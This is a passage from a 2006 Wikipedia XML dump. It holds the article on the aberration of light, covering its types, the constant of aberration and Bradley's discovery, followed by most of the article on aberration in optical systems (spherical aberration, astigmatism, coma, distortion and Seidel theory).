[[pl:Aberracja]]
[[ru:Аберрация]]
[[sl:Aberacija]]
[[sv:Aberration]]
[[uk:Аберація]]</text>
    </revision>
  </page>
  <page>
    <title>Aberration of light</title>
    <id>2703</id>
    <revision>
      <id>40574975</id>
      <timestamp>2006-02-21T15:26:05Z</timestamp>
      <contributor>
        <username>Ghalas</username>
        <id>224367</id>
      </contributor>
      <minor />
      <comment>/* Moving in the rain */</comment>
      <text xml:space="preserve">The '''aberration of light''' (also referred to as '''astronomical aberration''' or '''stellar aberration''') is an astronomical phenomenon which produces an [[apparent motion]] of celestial objects. It is caused by the twin facts that the [[speed of light]] is finite, and that an observer on [[Earth]] is moving in an inertial frame. It does not require Earth to carry an observer to some other position after some period of time—only that Earth have some instantaneous velocity. A change in the position of an observer causes [[parallax]], which must not be confused with the aberration of light.

Stellar aberration is ''independent'' of the distance of a celestial object from the observer. It should also be distinguished from [[light-time correction]], which is due to the displacement of a solar system object, like a [[planet]], through space during the time taken by its light to reach an observer on Earth. Light-time correction is independent of the motion of Earth. ''Planetary aberration'' (of solar system objects) is the combination of the aberration of light (due to Earth's velocity) and light-time correction (due to a planet's displacement). Both are determined at the instant when the object's light reaches Earth.

== Explanation ==

[[image:Aberration1.gif|frame|right|Diagram illustrating stellar aberration]]
Stellar aberration causes the apparent position of a star to be displaced, and occurs when the observer's motion has a component that is [[perpendicular]] to a line between the star and observer. In the diagram to the right, '''S''' represents the position of the star, and '''E''' the position of the observer on Earth. The true direction of the star relative to the observer is thus '''ES''', whose length represents the speed of light. However, Earth has a velocity in the direction represented by the line '''EE’''', whose length represents that velocity. The ''Law of Aberration'' states that the star will therefore appear to lie in the direction '''ES’''', instead of '''ES''', where '''SS’''' is parallel and equal in length to '''EE’'''. The star's apparent position is hence displaced from its true position by the angle '''SES’'''. 

===Moving in the rain===

Many find aberration to be counter-intuitive, and a simple thought experiment based on everyday experience can help in its understanding. Imagine you are standing in the rain. There is no wind, so the rain is falling vertically. To protect yourself from the rain you hold an umbrella directly above you.

Now imagine that you start to walk. Although the rain is still falling vertically (relative to a stationary observer), you find that you have to hold the umbrella slightly in front of you to keep off the rain. Because of your forward motion relative to the falling rain, the rain now appears to be falling not from directly above you, but from a point in the sky somewhat in front of you.

The deflection of the falling rain is greatly increased at higher speeds. When you drive a [[car]] at night through falling rain, the rain drops illuminated by your car's [[headlight]]s appear to fall from a position in the sky well in front of your car.

===Types of aberration===

There are a number of types of stellar aberration, caused by the differing components of the Earth's motion:

* '''Annual Aberration''' is due to the [[Orbital revolution|revolution]] of the Earth around the [[Sun]].
* '''Diurnal Aberration''' is due to the [[rotation]] of the Earth about its own axis.
* '''Secular Aberration''' is due to the motion of the Sun and solar system relative to other stars in the [[galaxy]].

Annual and diurnal aberration cause stars to appear to vary in position on a periodic basis, and their effect must be included when computing the apparent position of a star at any given time. Secular aberration can be regarded as constant for all practical purposes, and so is usually ignored.

===Annual aberration===

As the Earth revolves around the Sun, it is moving at a velocity of approximately 30 km/s. The speed of light is approximately 300,000 km/s. In the special case where the earth is moving perpendicularly to the direction of the star (i.e. if '''SEE’''' in the diagram is 90 degrees), the angle of displacement, '''SES’''', would therefore be (in [[radian]]s) the ratio of the two velocities, i.e. 1/10000 or about 20.5 [[arcsecond]]s.

This quantity is known as the ''constant of aberration'', and is conventionally represented by ''&amp;kappa;''. Its precise accepted value is 20&quot;.49552 (at [[J2000]]).

The plane of the Earth's orbit is known as the [[ecliptic]]. Annual aberration causes stars exactly on the ecliptic to appear to move back and forth along a straight line, varying by ''&amp;kappa;'' either side of their true position. A star that is precisely at one of the ecliptic poles will appear to move in a circle of radius ''&amp;kappa;'' about its true position, and stars at intermediate ecliptic latitudes will appear to move along a small [[ellipse]].

A special case of annual aberration is the nearly constant deflection of the Sun from its true position by ''&amp;kappa;'' towards the ''west'' (as viewed from Earth), opposite to the apparent motion of the Sun along the ecliptic. This constant deflection is often erroneously explained as the motion of the Earth during the 8.3 minutes that it takes light to travel from the Sun to Earth. The latter is a type of ''parallax'', and actually causes the apparent motion of the Sun along the ecliptic towards the ''east'' relative to the fixed stars. (8.316746 minutes divided by one sidereal year (365.25636 days) is 20&quot;.49265, very close to ''&amp;kappa;'', but of opposite sign, east vs. west.) Nor is this the Sun's light-time correction because the Sun is almost motionless, moving around the [[barycenter]] (center of mass) of the solar system by usually much less than 0&quot;.03 (as viewed from Earth) during 8.3 minutes.

Aberration can be resolved into an east-west and north-south component on the [[celestial sphere]]. The former is larger, but the latter, present because of the 23.4° tilt of the Earth's axis ([[obliquity of the ecliptic]]), was the first to be detected. This is because accurate clocks are needed to measure the East-West component, but only a good plumb line is needed for the north-south component.

===Diurnal aberration===

Diurnal aberration is caused by the velocity of the observer on the surface of the rotating Earth. It is therefore dependent not only on the time of the observation, but also the location of the observer. Its effect is much smaller than that of annual aberration, and is only 0&quot;.32 in the case of an observer at the equator, where the rotational velocity is greatest.

==Historical background==

The discovery of the aberration of light in [[1725]] by [[James Bradley]] was one of the most important in astronomy. It was totally unexpected, and it was only by extraordinary perseverance and perspicuity that Bradley was able to explain it in [[1727]]. Its origin is based on attempts made to discover whether the stars possessed appreciable [[parallax]]es. The [[Copernicus|Copernican]] theory of the [[solar system]] &amp;ndash; that the Earth revolved annually about the Sun &amp;ndash; had received confirmation by the observations of [[Galileo Galilei|Galileo]] and [[Tycho Brahe]] (who, however, never accepted [[Heliocentrism|heliocentrism]]), and the mathematical investigations of [[Johannes Kepler|Kepler]] and [[Isaac Newton|Newton]].

===Search for stellar parallax===

As early as [[1573]], [[Thomas Digges]] had suggested that this theory should necessitate a parallactic shifting of the stars, and, consequently, if such stellar parallaxes existed, then the Copernican theory would receive additional confirmation. Many observers claimed to have determined such parallaxes, but Tycho Brahe and [[Giovanni Battista Riccioli]] concluded that they existed only in the minds of the observers, and were due to instrumental and personal errors. In [[1680]] [[Jean Picard]], in his ''Voyage d'[[Uraniborg|Uranibourg]],'' stated, as a result of ten [[year]]s' observations, that [[Polaris]], or the [[Pole Star]], exhibited variations in its position amounting to 40&quot; annually. Some astronomers endeavoured to explain this by parallax, but these attempts were futile, for the motion was at variance with that which parallax would produce.

[[John Flamsteed]], from measurements made in [[1689]] and succeeding years with his mural quadrant, similarly concluded that the declination of the Pole Star was 40&quot; less in July than in September. [[Robert Hooke]], in [[1674]], published his observations of &amp;gamma; [[Draco (constellation)|Draconis]], a star with of [[apparent magnitude|magnitude]] 2&lt;sup&gt;m&lt;/sup&gt; which passes practically overhead at the latitude of [[London]], and whose observations are therefore free from the complex corrections due to astronomical [[refraction]], and concluded that this star was 23&quot; more northerly in July than in October.

===Bradley's observations===

When James Bradley and [[Samuel Molyneux]] entered this sphere of astronomical research in [[1725]], there consequently prevailed much uncertainty whether stellar parallaxes had been observed or not; and it was with the intention of definitely answering this question that these astronomers erected a large telescope at the house of the latter at [[Kew]]. They determined to reinvestigate the motion of &amp;gamma; Draconis; the telescope, constructed by [[George Graham (clockmaker)|George Graham]] (1675-1751), a celebrated instrument-maker, was affixed to a vertical chimney stack, in such manner as to permit a small oscillation of the eyepiece, the amount of which, i.e. the deviation from the vertical, was regulated and measured by the introduction of a screw and a [[plumb line|plumb-line]].

The instrument was set up in November 1725, and observations on &amp;gamma; Draconis were made on the [[December 3|3rd]], [[December 5|5th]], [[December 11|11th]], and [[December 12|12th of December]]. There was apparently no shifting of the star, which was therefore thought to be at its most southerly point. On [[December 17]], however, Bradley observed that the star was moving southwards, a motion further shown by observations on the [[December 20|20th]]. These results were unexpected and inexplicable by existing theories. However, an examination of the telescope showed that the observed anomalies were not due to instrumental errors.

The observations were continued, and the star was seen to continue its southerly course until March, when it took up a position some 20&quot; more southerly than its December position. After March it began to pass northwards, a motion quite apparent by the middle of April; in June it passed at the same distance from the [[zenith]] as it did in December; and in September it passed through its most northerly position, the extreme range from north to south, i.e. the angle between the March and September positions, being 40&quot;.

This motion is evidently not due to parallax, for, in this case, the maximum range should be between the June and December positions; neither was it due to observational errors. Bradley and Molyneux discussed several hypotheses in the hope of fixing the solution. One hypothesis was: while &amp;gamma; Draconis was stationary, the plumb-line, from which the angular measurements were made, varied; this would follow if the axis of the Earth varied.

===Aberration vs nutation===

The oscillation of the Earth's axis may arise in two distinct ways; distinguished as ''[[nutation]] of the axis'' and ''[[variation]] of latitude''. Nutation, the only form of oscillation imagined by Bradley, postulates that while the Earth's axis is fixed with respect to the Earth (i.e. the north and south poles occupy permanent geographical positions), yet the axis is not directed towards a fixed point in the heavens; variation of latitude, however, is associated with the shifting of the axis within the Earth, i.e. the geographical position of the north pole varies.

Nutation of the axis would determine a similar apparent motion for all stars: thus, all stars having the same polar distance as &amp;gamma; Draconis should exhibit the same apparent motion after or before this star by a constant interval. Many stars satisfy the condition of equality of polar distance with that of &amp;gamma;  Draconis, but few were bright enough to be observed in Molyneux's telescope.

One such star, however, with a [[right ascension]] nearly equal to that of &amp;gamma; Draconis, but in the opposite sense, was selected and kept under observation. This star was seen to possess an apparent motion similar to that which would be a consequence of the nutation of the Earth's axis; but since its declination varied only one half as much as in the case of &amp;gamma; Draconis, it was obvious that nutation did not supply the requisite solution. Whether the motion was due to an irregular distribution of the [[Earth's atmosphere]], thus involving abnormal variations in the refractive index, was also investigated; here, again, negative results were obtained.

Bradley had already perceived, in the case of the two stars previously scrutinized, that the apparent difference of declination from the maximum positions was nearly proportional to the Sun's distance from the [[equinox|equinoctial]] points; and he realized the necessity for more observations before any generalization could be attempted. For this purpose he repaired to the Rectory, Wanstead, then the residence of Mrs. Pound, the widow of his uncle James Pound, with whom he had made many observations of the heavenly bodies.

Here he had set up, on [[August 19]], [[1727]], a more convenient telescope than that at Kew, its range extending over 6 1/4 degrees on each side of the zenith, thus covering a far larger area of the [[sky]]. Two hundred stars in the British Catalogue of Flamsteed traversed its field of view; and, of these, about fifty were kept under close observation. His conclusions may be thus summarized: 
#only stars near the [[solstice|solstitial]] colure had their maximum north and south positions when the Sun was near the equinoxes,
#each star was at its maximum position when it passed the zenith at six o'clock morning and evening (this he afterwards showed to be inaccurate, and found the greatest change in [[declination]] to be proportional to the latitude of the star),
#the apparent motions of all stars at about the same time was in the same direction.

===Development of the theory of aberration===

A re-examination of his previously considered hypotheses as to the cause of these phenomena was fruitless; the true theory was ultimately discovered by pure accident, comparable in simplicity and importance with the association of a falling apple with the discovery of the principle of universal gravitation. Sailing on the river [[Thames]], Bradley repeatedly observed the shifting of a vane on the mast as the boat altered its course and, having been assured that the motion of the vane meant that the boat, and not the wind, had altered its direction, he realized that the position taken up by the vane was determined by both the motion of the boat ''and'' the direction of the wind.

The application of this observation to the phenomenon which had so long perplexed him was not difficult, and, in 1727, he published his theory of the aberration of light &amp;mdash;a corner-stone of the edifice of astronomical science. Let S (fig. 2) be a star and the observer be carried along the line AB; let SB be perpendicular to AB. If the observer be stationary at B, the star will appear in the direction BS; if, however, he traverses the distance BA in the same time as light passes from the star to his eye, the star will appear in the direction AS. Since, however, the observer is not conscious of his own translatory motion with the Earth in its orbit, the star appears to have a displacement which is at all times parallel to the motion of the observer.

== References ==

*A detailed account of Bradley's work is given in S. Rigaud, ''Memoirs of Bradley'' ([[1832]]), and in Charles Hutton, ''Mathematical and Philosophical Dictionary'' ([[1795]]).
*A particularly clear and lucid account is given in H. H. Turner, ''Astronomical Discovery'' ([[1904]]).
*&quot;Aberration&quot;, ''Explanatory Supplement to the Astronomical Almanac'' (1992), 127-135, 700.

== See also ==

* [[Aberration in optical systems|Aberration]]
* [[James Bradley|Bradley, James]]
* [[Augustin-Jean Fresnel|Fresnel, Augustin-Jean]]
* [[List of astronomical topics]]
* [[George Gabriel Stokes|Stokes, George Gabriel]]
* [[Proper motion]]
* [[Timeline of electromagnetism and classical optics]]

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'''Aberration in optical systems''' ([[Lens (optics)|lenses]], [[Prism (optics)|prisms]], [[mirror]]s or series of them intended to produce a sharp image) generally leads to blurring of the image. It occurs when light from one point of an object after transmission through the system arrives in different points. Instrument-makers need to correct optical systems to compensate for aberration. The articles [[Reflection (physics)|reflection]], [[refraction]] and [[caustic]] discuss the general features of reflected and refracted rays. 

Aberrations fall into two classes: 
*''[[chromatic aberration]]s'' (Gr. ''croma'', colour), where a system disperses the various [[wavelength]]s of (e.g.) white light
**See also [[chromatic aberration]]
*''[[monochromatic]] aberrations'' (Gr. ''monos'', one) produced without dispersion.  These include the aberrations at reflecting surfaces of any coloured light, and at refracting surfaces of monochromatic light of single wavelength. These include the following.
**[[Defocus aberration|Defocus]]
**[[Tilt aberration|Tilt]]
**[[Spherical aberration|Spherical]]
**[[Coma (optics)|Coma]]
**[[Astigmatism]]
**[[Petzval field curvature]]
**[[Distortion]]
***[[Barrel distortion]]
***[[Pincushion distortion]]
**[[Piston aberration|Piston]]

==Monochromatic aberration==

The elementary theory of optical systems leads to the theorem: Rays of light proceeding from any ''object point'' unite in an ''image point''; and therefore an ''object space'' is reproduced in an ''image space.'' The introduction of simple auxiliary terms, due to [[Carl Friedrich Gauss|C. F. Gauss]] (''Dioptrische Untersuchungen'', Göttingen, [[1841]]), named the [[focal length]]s and [[focal plane]]s, permits the determination of the image of any object for any system (see [[Lens (optics)|lens]]). The Gaussian theory, however, is only true so long as the angles made by all rays with the optical axis (the symmetrical axis of the system) are infinitely small, i.e. with infinitesimal objects, images and lenses; in practice these conditions are not realized, and the images projected by uncorrected systems are, in general, ill defined and often completely blurred, if the aperture or field of view exceeds certain limits.

The investigations of [[James Clerk Maxwell]] (''Phil.Mag.,'' [[1856]]; ''Quart. Journ. Math.,'' [[1858]], and [[Ernst Abbe]]&lt;sup&gt;1&lt;/sup&gt;) showed that the properties of these reproductions, i.e. the relative position and magnitude of the images, are not special properties of optical systems, but necessary consequences of the supposition (in Abbe) of the reproduction of all points of a space in image points (Maxwell assumes a less general hypothesis), and are independent of the manner in which the reproduction is effected.  These authors proved, however, that no optical system can justify these suppositions, since they are contradictory to the fundamental laws of reflexion and refraction.  Consequently the Gaussian theory only supplies a convenient method of approximating to reality; and no constructor would attempt to realize this unattainable ideal.  All that at present can be attempted is, to reproduce a single plane in another plane; but even this has not been altogether satisfactorily accomplished, aberrations always occur, and it is improbable that these will ever be entirely corrected. 

This, and related general questions, have been treated -- besides the above-mentioned authors -- by M. Thiesen (''Berlin. Akad. Sitzber.,'' 1890, xxxv. 799; ''Berlin. Phys. Ges. Verh.,'' 1892) and H. Bruns (''Leipzig. Math.  Phys. Ber.,'' 1895, xxi. 325) by means of Sir W. R. Hamilton's ''characteristic function'' (Irish Acad. Trans., ''Theory of Systems of Rays'', 1828, et seq.).  Reference may also be made to the treatise of Czapski-Eppenstein, pp. 155-161. 

A review of the simplest cases of aberration will now be given.

===Aberration of axial points (spherical aberration in the restricted sense)===
[[Image:ABERR1.png|right|]]

If S (fig.5) be any optical system, rays proceeding from an axis point O under an angle u1 will unite in the axis point O'1; and those under an angle u2 in the axis point O'2.  If there be refraction at a collective spherical surface, or through a thin positive lens, O'2 will lie in front of O'1 so long as the angle u2 is greater than u1 (''under correction''); and conversely with a dispersive surface or lenses (''over correction'').  The caustic, in the first case, resembles the sign &gt; (greater than); in the second &lt; (less than).  If the angle u1 be very small, O'1 is the Gaussian image; and O'1 O'2 is termed the ''longitudinal aberration,'' and O'1R the ''lateral aberration'' of the pencils with aperture u2. If the pencil with the angle u2 be that of the maximum aberration of all the pencils transmitted, then in a plane perpendicular to the axis at O'1 there is a circular ''disk of confusion'' of radius O'1R, and in a parallel plane at O'2 another one of radius O'2R2; between these two is situated the ''disk of least confusion.'' 

The largest opening of the pencils, which take part in the reproduction of O, i.e. the angle u, is generally determined by the margin of one of the lenses or by a hole in a thin plate placed between, before, or behind the lenses of the system.  This hole is termed the ''stop'' or ''diaphragm''; Abbe used the term ''[[aperture]] stop'' for both the hole and the limiting margin of the lens.  The component S1 of the system, situated between the aperture stop and the object O, projects an image of the diaphragm, termed by Abbe the ''entrance pupil''; the ''exit pupil'' is the image formed by the component S2, which is placed behind the aperture stop.  All rays which issue from O and pass through the aperture stop also pass through the entrance and exit pupils, since these are images of the aperture stop.  Since the maximum aperture of the pencils issuing from O is the angle u subtended by the entrance pupil at this point, the magnitude of the aberration will be determined by the position and diameter of the entrance pupil.  If the system be entirely behind the aperture stop, then this is itself the entrance pupil (''front stop''); if entirely in front, it is the exit pupil (''back stop''). 

If the object point be infinitely distant, all rays received by the first member of the system are parallel, and their intersections, after traversing the system, vary according to their ''perpendicular height of incidence,'' i.e. their distance from the axis.  This distance replaces the angle u in the preceding considerations; and the aperture, i.e. the radius of the entrance pupil, is its maximum value.

===Aberration of elements, i.e. smallest objects at right angles to the axis===

If rays issuing from O (fig. 5) be concurrent, it does not follow that points in a portion of a plane perpendicular at O to the axis will be also concurrent, even if the part of the plane be very small.  With a considerable aperture, the neighbouring point N will be reproduced, but attended by aberrations comparable in magnitude to ON. These aberrations are avoided if, according to Abbe, the ''sine condition,'' sin u'1/sin u1=sin u'2/sin u2, holds for all rays reproducing the point O. If the object point O is infinitely distant, u1 and u2 are to be replaced by pi and h2, the perpendicular heights of incidence; the ''sine condition'' then becomes sin u'1/h1 sin u'2/h2. A system fulfilling this condition and free from spherical aberration is called ''aplanatic'' (Greek a-, privative, plann, a wandering).  This word was first used by [[Robert Blair]] (d. 1828), professor of practical astronomy at Edinburgh University, to characterize a superior achromatism, and, subsequently, by many writers to denote freedom from spherical aberration.  Both the aberration of axis points, and the deviation from the sine condition, rapidly increase in most (uncorrected) systems with the aperture.

===Aberration of lateral object points (points beyond the axis) with narrow pencils. Astigmatism.===

[[Image:ABERR2.png|right|]]

A point O (fig. 6) at a finite distance from the, axis (or with an infinitely distant object, a point which subtends a finite angle at the system) is, in general, even then not sharply reproduced, if the pencil of rays issuing from it and traversing the system is made infinitely narrow by reducing the aperture stop; such a pencil consists of the rays which can pass from the object point through the now infinitely small entrance pupil.  It is seen (ignoring exceptional cases) that the pencil does not meet he refracting or reflecting surface at right angles; therefore it is astigmatic (Gr. a-, privative, stigmia, a point).  Naming the central ray passing through the entrance pupil the ''axis of the pencil'' or ''principal ray,'' it can be said: the rays of the pencil intersect, not in one point, but in two focal lines, which can be assumed to be at right angles to the principal ray; of these, one lies in the plane containing the principal ray and the axis of the system, i.e. in the ''first principal section'' or ''meridional section'', and the other at right angles to it, i.e. in the second principal section or sagittal section.  We receive, therefore, in no single intercepting plane behind the system, as, for example, a focussing screen, an image of the object point; on the other hand, in each of two planes lines O' and O&quot; are separately formed (in neighbouring planes ellipses are formed), and in a plane between O' and O&quot; a circle of least confusion.  The interval O'O&quot;, termed the astigmatic difference, increases, in general, with the angle W made by the principal ray OP with the axis of the system, i.e. with the field of view.  Two ''astigmatic image surfaces'' correspond to one object plane; and these are in contact at the axis point; on the one lie the focal lines of the first kind, on the other those of the second.  Systems in which the two astigmatic surfaces coincide are termed anastigmatic or stigmatic. 

[[Isaac Newton|Sir Isaac Newton]] was probably the discoverer of astigmation; the position of the astigmatic image lines was determined by Thomas Young (''A Course of Lectures on Natural Philosophy,'' 1807); and the theory was developed by A. Gullstrand (''Skand. Arch. f. Physiol.,'' 1890, 2, p. 269; ''Allgemeine Theorie der monochromat. Aberrationen,'' etc., Upsala, 1900; ''Arch. f.  Ophth.,'' 1901, 53, pp. 2, 185).  A bibliography by P. Culmann is given in M. von Rohr's ''Die Bilderzeugung in optischen Instrumenten'' (Berlin, 1904).

===Aberration of lateral object points with broad pencils.  Coma.===

By opening the stop wider, similar deviations arise for lateral points as have been already discussed for axial points; but in this case they are much more complicated.  The course of the rays in the meridional section is no longer symmetrical to the principal ray of the pencil; and on an intercepting plane there appears, instead of a luminous point, a patch of light, not symmetrical about a point, and often exhibiting a resemblance to a comet having its tail directed towards or away from the axis.  From this appearance it takes its name.  The unsymmetrical form of the meridional pencil--formerly the only one considered--is [[coma (optics)|coma]] in the narrower sense only; other errors of coma have been treated by A. Konig and M. von Rohr (op. cit.), and later by A. Gullstrand (op. cit.; ''Ann. d.  Phys.,'' 1905, 18, p. 941).

===Curvature of the field of the image===

If the above errors be eliminated, the two astigmatic surfaces united, and a sharp image obtained with a wide aperture--there remains the necessity to correct the curvature of the image surface, especially when the image is to be received upon a plane surface, e.g. in photography.  In most cases the surface is concave towards the system. 

===Distortion of the image===

[[Image:ABERR3rev.png|left|]]

If now the image be sufficiently sharp, inasmuch as the rays proceeding from every object point meet in an image point of satisfactory exactitude, it may happen that the image is distorted, i.e. not sufficiently like the object.  This error consists in the different parts of the object being reproduced with different magnifications; for instance, the inner parts may differ in greater magnification than the outer (''barrel-shaped distortion''), or conversely (''cushion-shaped distortion'') (see fig. 7). In [[computer graphics]] and [[post-production]] this effect is called lens distortion, and there are [http://www.vassg.hu/pdf/vass_gg_2003_lo.pdf algorithms] to correct it. Systems free of this aberration are called ''orthoscopic'' (orthos, right, skopein to look).  This aberration is quite distinct from that of the sharpness of reproduction; in unsharp, reproduction, the question of distortion arises if only parts of the object can be recognized in the figure.  If, in an unsharp image, a patch of light corresponds to an object point, the ''centre of gravity'' of the patch may be regarded as the image point, this being the point where the plane receiving the image, e.g. a focussing screen, intersects the ray passing through the middle of the stop.  This assumption is justified if a poor image on the focussing screen remains stationary when the aperture is diminished; in practice, this generally occurs.  This ray, named by Abbe a ''principal ray'' (not to be confused with the ''principal rays'' of the Gaussian theory), passes through the centre of the entrance pupil before the first refraction, and the centre of the exit pupil after the last refraction.  From this it follows that correctness of drawing depends solely upon the principal rays; and is independent of the sharpness or curvature of the image field.  Referring to fig. 8, we have O'Q'/OQ = a' tan w'/a tan w = 1/N, where N is the ''scale'' or magnification of the image.  For N to be constant for all values of w, a' tan w'/a tan w must also be constant.  If the ratio a'/a be sufficiently constant, as is often the case, the above relation reduces to the ''condition of [[George Biddell Airy|Airy]],'' i.e. tan w'/ tan w= a constant.  This simple relation (see Camb.  Phil.  Trans., 1830, 3, p. 1) is fulfilled in all systems which are symmetrical with respect to their diaphragm (briefly named ''symmetrical or holosymmetrical objectives''), or which consist of two like, but different-sized, components, placed from the diaphragm in the ratio of their size, and presenting the same curvature to it (hemisymmetrical objectives); in these systems tan w' / tan w = 1. 

[[Image:ABERR4rev.png|right|]]

The constancy of a'/a necessary for this relation to hold was pointed out by R. H. Bow (Brit.  Journ.  Photog., 1861), and Thomas Sutton (Photographic Notes, 1862); it has been treated by O. Lummer and by M. von Rohr (Zeit. f.  Instrumentenk., 1897, 17, and 1898, 18, p. 4). It requires the middle of the aperture stop to be reproduced in the centres of the entrance and exit pupils without spherical aberration.  M. von Rohr showed that for systems fulfilling neither the Airy nor the Bow-Sutton condition, the ratio a' tan w'/a tan w will be constant for one distance of the object.  This combined condition is exactly fulfilled by holosymmetrical objectives reproducing with the scale 1, and by hemisymmetrical, if the scale of reproduction be equal to the ratio of the sizes of the two components.

==Analytic treatment of aberrations==

The preceding review of the several errors of reproduction belongs to the ''[[Ernst Abbe|Abbe]] theory of aberrations,'' in which definite aberrations are discussed separately; it is well suited to practical needs, for in the construction of an optical instrument certain errors are sought to be eliminated, the selection of which is justified by experience.  In the mathematical sense, however, this selection is arbitrary; the reproduction of a finite object with a finite aperture entails, in all probability, an infinite number of aberrations.  This number is only finite if the object and aperture are assumed to be ''infinitely small of a certain order''; and with each order of infinite smallness, i.e. with each degree of approximation to reality (to finite objects and apertures), a certain number of aberrations is associated.  This connection is only supplied by theories which treat aberrations generally and analytically by means of indefinite series. 

[[Image:ABERR5rev.png|right|]]

A ray proceeding from an object point O (fig. 9) can be defined by the coordinates (&amp;xi;, &amp;eta;).  Of this point O in an object plane I, at right angles to the axis, and two other coordinates (x, y), the point in which the ray intersects the entrance pupil, i.e. the plane II. Similarly the corresponding image ray may be defined by the points (&amp;xi;', &amp;eta;'), and (x', y'), in the planes I' and II'. The origins of these four plane coordinate systems may be collinear with the axis of the optical system; and the corresponding axes may be parallel.  Each of the four coordinates &amp;xi;', &amp;eta;', x', y' are functions of &amp;xi;, &amp;eta;, x, y; and if it be assumed that the field of view and the aperture be infinitely small, then &amp;xi;, &amp;eta;, x, y are of the same order of infinitesimals; consequently by expanding &amp;xi;', &amp;eta;', x', y' in ascending powers of &amp;xi;, &amp;eta;, x, y, series are obtained in which it is only necessary to consider the lowest powers.  It is readily seen that if the optical system be symmetrical, the orqins of the coordinate systems collinear with the optical axis and the corresponding axes parallel, then by changing the signs of &amp;xi;, &amp;eta;, x, y, the values &amp;xi;', &amp;eta;', x', y' must likewise change their sign, but retain their arithmetical values; this means that the series are restricted to odd powers of the unmarked variables. 

The nature of the reproduction consists in the rays proceeding from a point O being united in another point O'; in general, this will not be the case, for &amp;xi;', &amp;eta;' vary if &amp;xi;, &amp;eta; be constant, but x, y variable.  It may be assumed that the planes I' and II' are drawn where the images of the planes I and II are formed by rays near the axis by the ordinary Gaussian rules; and by an extension of these rules, not, however, corresponding to reality, the Gauss image point O'&lt;sub&gt;0&lt;/sub&gt;, with coordinates &amp;xi;'&lt;sub&gt;0&lt;/sub&gt;, &amp;eta;'&lt;sub&gt;0&lt;/sub&gt;, of the point O at some distance from the axis could be constructed.  Writing D&amp;xi;'=&amp;xi;'-&amp;xi;'&lt;sub&gt;0&lt;/sub&gt; and D&amp;eta;'=&amp;eta;'-&amp;eta;'&lt;sub&gt;0&lt;/sub&gt;, then D&amp;xi;' and D&amp;eta;' are the aberrations belonging to &amp;xi;, &amp;eta; and x, y, and are functions of these magnitudes which, when expanded in series, contain only odd powers, for the same reasons as given above.  On account of the aberrations of all rays which pass through O, a patch of light, depending in size on the lowest powers of &amp;xi;, &amp;eta;, x, y which the aberrations contain, will be formed in the plane I'. These degrees, named by ([[Jozef Maximilián Petzval|J. Petzval]] (''Bericht uber die Ergebnisse einiger dioptrischer Untersuchungen'', Buda Pesth, 1843; ''Akad. Sitzber., Wien,'' 1857, vols. xxiv. xxvi.) ''the numerical orders of the image,'' are consequently only odd powers; the condition for the formation of an image of the mth order is that in the series for D&amp;xi;' and D&amp;eta;' the coefficients of the powers of the 3rd, 5th . . . (m-2)th degrees must vanish.  The images of the Gauss theory being of the third order, the next problem is to obtain an image of 5th order, or to make the coefficients of the powers of 3rd degree zero.  This necessitates the satisfying of five equations; in other words, there are five alterations of the 3rd order, the vanishing of which produces an image of the 5th order. 

The expression for these coefficients in terms of the constants of the optical system, i.e. the radii, thicknesses, refractive indices and distances between the lenses, was solved by [[Philipp Ludwig von Seidel|L. Seidel]] (Astr. Nach., 1856, p. 289); in 1840, [[Jozef Maximilián Petzval|J. Petzval]] constructed his portrait objective,from similar calculations which have never been published (see M. von Rohr, ''Theorie und Geschichte des photographischen Objectivs'', Berlin, 1899, p. 248).  The theory was elaborated by S. Finterswalder (Munchen. Acad.  Abhandl., 1891, 17, p. 519), who also published a posthumous paper of Seidel containing a short view of his work (''München. Akad. Sitzber.,'' 1898, 28, p. 395); a simpler form was given by A. Kerber (''Beiträge zur Dioptrik'', Leipzig, 1895-6-7-8-9).  A. Konig and M. von Rohr (see M. von Rohr, ''Die Bilderzeugung in optischen Instrumenten'', pp. 317-323) have represented Kerber's method, and have deduced the Seidel formulae from geometrical considerations based on the [[Ernst Abbe|Abbe]] method, and have interpreted the analytical results geometrically (pp. 212-316). 

The aberrations can also be expressed by means of the ''characteristic function'' of the system and its differential coefficients, instead of by the radii, &amp;c., of the lenses; these formulae are not immediately applicable, but give, however, the relation between the number of aberrations and the order.  Sir William Rowan Hamilton (British Assoc.  Report, 1833, p. 360) thus derived the aberrations of the third order; and in later times the method was pursued by Clerk Maxwell (''Proc. London Math. Soc.,'' 1874--1875; (see also the treatises of R. S. Heath and L. A. Herman), M. Thiesen (''Berlin. Akad.  Sitzber.,'' 1890, 35, p. 804), H. Bruns (''Leipzig. Math. Phys. Ber.,'' 1895, 21, p. 410), and particularly successfully by K. Schwartzschild (''Göttingen.  Akad.  Abhandl.,'' 1905, 4, No. 1), who thus discovered the aberrations of the 5th order (of which there are nine), and possibly the shortest proof of the practical (Seidel) formulae.  A. Gullstrand (vide supra, and ''Ann. d.  Phys.,'' 1905, 18, p. 941) founded his theory of aberrations on the differential geometry of surfaces. 

The aberrations of the third order are: (1) aberration of the axis point; (2) aberration of points whose distance from the axis is very small, less than of the third order -- the deviation from the sine condition and coma here fall together in one class; (3) astigmatism; (4) curvature of the field; (5) distortion. 

:'''(1)''' Aberration of the third order of axis points is dealt with in all text-books on optics.  It is very important in telescope design. In telescopes aperture is usually taken as the linear diameter of the objective.It is not the same as microscope aperture which is based on the entrance pupil or field of view as seen from the object and is expressed as an angular measurement. Higher order aberrations in telescope design can be mostly neglected.For microscopes it cannot be neglected. For a single lens of very small thickness and given power, the aberration depends upon the ratio of the radii r:r', and is a minimum (but never zero) for a certain value of this ratio; it varies inversely with the refractive index (the power of the lens remaining constant).  The total aberration of two or more very thin lenses in contact, being the sum of the individual aberrations, can be zero.  This is also possible if the lenses have the same algebraic sign.  Of thin positive lenses with n=1.5, four are necessary to correct spherical aberration of the third order.  These systems, however, are not of great practical importance.  In most cases, two thin lenses are combined, one of which has just so strong a positive aberration (''under-correction,'' vide supra) as the other a negative; the first must be a positive lens and the second a negative lens; the powers, however: may differ, so that the desired effect of the lens is maintained.  It is generally an advantage to secure a great refractive effect by several weaker than by one high-power lens.  By one, and likewise by several, and even by an infinite number of thin lenses in contact, no more than two axis points can be reproduced without aberration of the third order.  Freedom from aberration for two axis points, one of which is infinitely distant, is known as ''Herschel's condition.'' All these rules are valid, inasmuch as the thicknesses and distances of the lenses are not to be taken into account. 

